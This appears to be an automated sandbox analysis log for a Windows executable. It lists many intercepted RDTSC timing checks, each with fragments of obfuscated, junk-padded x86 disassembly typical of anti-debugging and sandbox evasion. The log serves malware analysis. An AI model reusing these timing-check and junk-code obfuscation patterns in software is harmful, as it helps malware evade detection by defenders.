Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70382 second address: 4D70388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D90821 second address: 4D90827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D90827 second address: 4D9082B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D9082B second address: 4D908DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e jmp 00007FC9D915F4C6h 0x00000013 mov eax, dword ptr [774365FCh] 0x00000018 jmp 00007FC9D915F4C0h 0x0000001d test eax, eax 0x0000001f pushad 0x00000020 jmp 00007FC9D915F4BEh 0x00000025 pushfd 0x00000026 jmp 00007FC9D915F4C2h 0x0000002b jmp 00007FC9D915F4C5h 0x00000030 popfd 0x00000031 popad 0x00000032 je 00007FCA4B782577h 0x00000038 jmp 00007FC9D915F4BEh 0x0000003d mov ecx, eax 0x0000003f pushad 0x00000040 mov si, C00Dh 0x00000044 push eax 0x00000045 push edx 0x00000046 call 00007FC9D915F4C8h 0x0000004b pop esi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D908DB second address: 4D90969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor eax, dword ptr [ebp+08h] 0x00000008 jmp 00007FC9D8BCC16Dh 0x0000000d and ecx, 1Fh 0x00000010 pushad 0x00000011 mov ebx, eax 0x00000013 pushfd 0x00000014 jmp 00007FC9D8BCC178h 0x00000019 or esi, 6444F2E8h 0x0000001f jmp 00007FC9D8BCC16Bh 0x00000024 popfd 0x00000025 popad 0x00000026 ror eax, cl 0x00000028 jmp 00007FC9D8BCC176h 0x0000002d leave 0x0000002e jmp 00007FC9D8BCC170h 0x00000033 retn 0004h 0x00000036 nop 0x00000037 mov esi, eax 0x00000039 lea eax, dword ptr [ebp-08h] 0x0000003c xor esi, dword ptr [00A52014h] 0x00000042 push eax 0x00000043 push eax 0x00000044 push eax 0x00000045 lea eax, dword ptr [ebp-10h] 0x00000048 push eax 0x00000049 call 00007FC9DCF4CAC4h 0x0000004e push FFFFFFFEh 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FC9D8BCC177h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D90969 second address: 4D909A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC9D915F4C8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909A3 second address: 4D909A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909A7 second address: 4D909AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909AD second address: 4D909B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909B3 second address: 4D909B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909B7 second address: 4D909F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FC9DCF4CB2Fh 0x00000010 mov edi, edi 0x00000012 jmp 00007FC9D8BCC174h 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FC9D8BCC177h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D909F0 second address: 4D90A40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FC9D915F4C1h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov ecx, 086AECA3h 0x00000016 mov ch, AFh 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b jmp 00007FC9D915F4BBh 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov esi, 71DAFF3Dh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40036 second address: 4D4003A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4003A second address: 4D4003E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4003E second address: 4D40044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40044 second address: 4D400AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007FC9D915F4BEh 0x0000000b adc cx, DA18h 0x00000010 jmp 00007FC9D915F4BBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c pushad 0x0000001d push eax 0x0000001e pushfd 0x0000001f jmp 00007FC9D915F4BBh 0x00000024 adc ecx, 46014EDEh 0x0000002a jmp 00007FC9D915F4C9h 0x0000002f popfd 0x00000030 pop eax 0x00000031 mov edi, 676CEA54h 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D400AB second address: 4D400AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D400AF second address: 4D40146 instructions: 0x00000000 rdtsc 0x00000002 call 00007FC9D915F4C5h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007FC9D915F4C1h 0x00000010 sub esi, 2375AE76h 0x00000016 jmp 00007FC9D915F4C1h 0x0000001b popfd 0x0000001c popad 0x0000001d and esp, FFFFFFF8h 0x00000020 pushad 0x00000021 jmp 00007FC9D915F4BCh 0x00000026 pushfd 0x00000027 jmp 00007FC9D915F4C2h 0x0000002c and ax, 22C8h 0x00000031 jmp 00007FC9D915F4BBh 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ecx 0x00000039 jmp 00007FC9D915F4C6h 0x0000003e push eax 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 mov ecx, edi 0x00000044 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40146 second address: 4D4014A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4014A second address: 4D40176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov di, E16Ch 0x0000000a popad 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushad 0x0000000e mov dl, C2h 0x00000010 mov esi, 06D8690Fh 0x00000015 popad 0x00000016 push eax 0x00000017 call 00007FC9D915F4BBh 0x0000001c pop esi 0x0000001d pop ebx 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40176 second address: 4D4017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4017A second address: 4D4017E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4017E second address: 4D40184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40184 second address: 4D401D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9D915F4C6h 0x00000009 or si, 6D18h 0x0000000e jmp 00007FC9D915F4BBh 0x00000013 popfd 0x00000014 call 00007FC9D915F4C8h 0x00000019 pop esi 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D401D2 second address: 4D401D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D401D6 second address: 4D401DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D401DA second address: 4D401E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D401E0 second address: 4D4023E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d mov ebx, eax 0x0000000f popad 0x00000010 mov ebx, dword ptr [ebp+10h] 0x00000013 pushad 0x00000014 jmp 00007FC9D915F4C1h 0x00000019 popad 0x0000001a xchg eax, esi 0x0000001b pushad 0x0000001c call 00007FC9D915F4BCh 0x00000021 mov dx, si 0x00000024 pop esi 0x00000025 mov bx, E4B2h 0x00000029 popad 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC9D915F4BFh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D4023E second address: 4D40244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40244 second address: 4D402E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a mov edi, 536235E0h 0x0000000f pushfd 0x00000010 jmp 00007FC9D915F4C9h 0x00000015 add ch, FFFFFFE6h 0x00000018 jmp 00007FC9D915F4C1h 0x0000001d popfd 0x0000001e popad 0x0000001f mov esi, dword ptr [ebp+08h] 0x00000022 pushad 0x00000023 call 00007FC9D915F4BCh 0x00000028 mov di, cx 0x0000002b pop eax 0x0000002c push ebx 0x0000002d pop ebx 0x0000002e popad 0x0000002f xchg eax, edi 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007FC9D915F4C2h 0x00000037 and ah, FFFFFFE8h 0x0000003a jmp 00007FC9D915F4BBh 0x0000003f popfd 0x00000040 jmp 00007FC9D915F4C8h 0x00000045 popad 0x00000046 push eax 0x00000047 pushad 0x00000048 mov al, bl 0x0000004a mov ch, FCh 0x0000004c popad 0x0000004d xchg eax, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 mov ah, 1Dh 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D402E5 second address: 4D402EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D308C3 second address: 4D3094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9D915F4C8h 0x00000009 or esi, 21535798h 0x0000000f jmp 00007FC9D915F4BBh 0x00000014 popfd 0x00000015 mov dx, ax 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov ax, E347h 0x00000021 push esi 0x00000022 call 00007FC9D915F4C3h 0x00000027 pop esi 0x00000028 pop edx 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007FC9D915F4BFh 0x00000030 xchg eax, ebp 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007FC9D915F4BBh 0x00000038 jmp 00007FC9D915F4C3h 0x0000003d popfd 0x0000003e popad 0x0000003f mov ebp, esp 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D3094F second address: 4D30953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30953 second address: 4D30957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30957 second address: 4D3095D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D3095D second address: 4D30963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30963 second address: 4D30967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30967 second address: 4D3096B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D3096B second address: 4D3097D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D3097D second address: 4D30982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30982 second address: 4D30991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC16Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30991 second address: 4D30995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30995 second address: 4D309A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov si, dx 0x0000000f mov esi, edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D309A7 second address: 4D309AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D309AD second address: 4D309B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D309B1 second address: 4D309B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D309B5 second address: 4D30A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b pushad 0x0000000c mov bx, E19Ah 0x00000010 popad 0x00000011 push esi 0x00000012 jmp 00007FC9D8BCC16Eh 0x00000017 mov dword ptr [esp], esi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC9D8BCC16Eh 0x00000021 and si, 3508h 0x00000026 jmp 00007FC9D8BCC16Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007FC9D8BCC178h 0x00000032 jmp 00007FC9D8BCC175h 0x00000037 popfd 0x00000038 popad 0x00000039 mov esi, dword ptr [ebp+08h] 0x0000003c pushad 0x0000003d push esi 0x0000003e mov eax, edi 0x00000040 pop edx 0x00000041 popad 0x00000042 mov ebx, 00000000h 0x00000047 jmp 00007FC9D8BCC16Eh 0x0000004c test esi, esi 0x0000004e jmp 00007FC9D8BCC170h 0x00000053 je 00007FCA4B241A9Dh 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30A63 second address: 4D30A80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30A80 second address: 4D30AAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007FC9D8BCC16Ah 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30AAA second address: 4D30AF2 instructions: 0x00000000 rdtsc 0x00000002 call 00007FC9D915F4BBh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov di, B12Ch 0x0000000e popad 0x0000000f mov ecx, esi 0x00000011 pushad 0x00000012 push edi 0x00000013 mov ecx, 44E2AF73h 0x00000018 pop ecx 0x00000019 push edx 0x0000001a mov cx, 99EBh 0x0000001e pop esi 0x0000001f popad 0x00000020 je 00007FCA4B7D4D89h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jmp 00007FC9D915F4C8h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30AF2 second address: 4D30BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [77436968h], 00000002h 0x00000010 jmp 00007FC9D8BCC176h 0x00000015 jne 00007FCA4B2419F2h 0x0000001b jmp 00007FC9D8BCC170h 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FC9D8BCC16Dh 0x0000002a or eax, 058509D6h 0x00000030 jmp 00007FC9D8BCC171h 0x00000035 popfd 0x00000036 popad 0x00000037 xchg eax, ebx 0x00000038 jmp 00007FC9D8BCC16Eh 0x0000003d push eax 0x0000003e pushad 0x0000003f mov dx, 4BA4h 0x00000043 mov esi, edi 0x00000045 popad 0x00000046 xchg eax, ebx 0x00000047 jmp 00007FC9D8BCC16Fh 0x0000004c xchg eax, ebx 0x0000004d jmp 00007FC9D8BCC176h 0x00000052 push eax 0x00000053 jmp 00007FC9D8BCC16Bh 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007FC9D8BCC175h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30BCE second address: 4D30BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C2A second address: 4D30C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C2F second address: 4D30C4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D915F4C8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C4B second address: 4D30C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C4F second address: 4D30C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a mov dl, 74h 0x0000000c mov si, CE05h 0x00000010 popad 0x00000011 mov esp, ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC9D915F4C7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C7B second address: 4D30C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C93 second address: 4D30C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30C97 second address: 4D30CA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30CA6 second address: 4D30CAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30CAC second address: 4D30CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30CB2 second address: 4D30CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40CBB second address: 4D40D5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushfd 0x00000007 jmp 00007FC9D8BCC177h 0x0000000c add ecx, 5A27DCFEh 0x00000012 jmp 00007FC9D8BCC179h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FC9D8BCC171h 0x00000021 xchg eax, ebp 0x00000022 jmp 00007FC9D8BCC16Eh 0x00000027 mov ebp, esp 0x00000029 pushad 0x0000002a push ecx 0x0000002b mov cx, di 0x0000002e pop edi 0x0000002f pushfd 0x00000030 jmp 00007FC9D8BCC176h 0x00000035 and ax, 1588h 0x0000003a jmp 00007FC9D8BCC16Bh 0x0000003f popfd 0x00000040 popad 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 mov dx, 81F6h 0x00000049 movsx edi, si 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40D5A second address: 4D40D60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40D60 second address: 4D40D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D40AB8 second address: 4D40AD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov cl, C8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC9D915F4C2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DC0557 second address: 4DC055D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB09C6 second address: 4DB09CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB083D second address: 4DB0843 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DB0843 second address: 4DB0878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, D76Fh 0x00000007 pushfd 0x00000008 jmp 00007FC9D915F4C4h 0x0000000d sbb ah, FFFFFF98h 0x00000010 jmp 00007FC9D915F4BBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
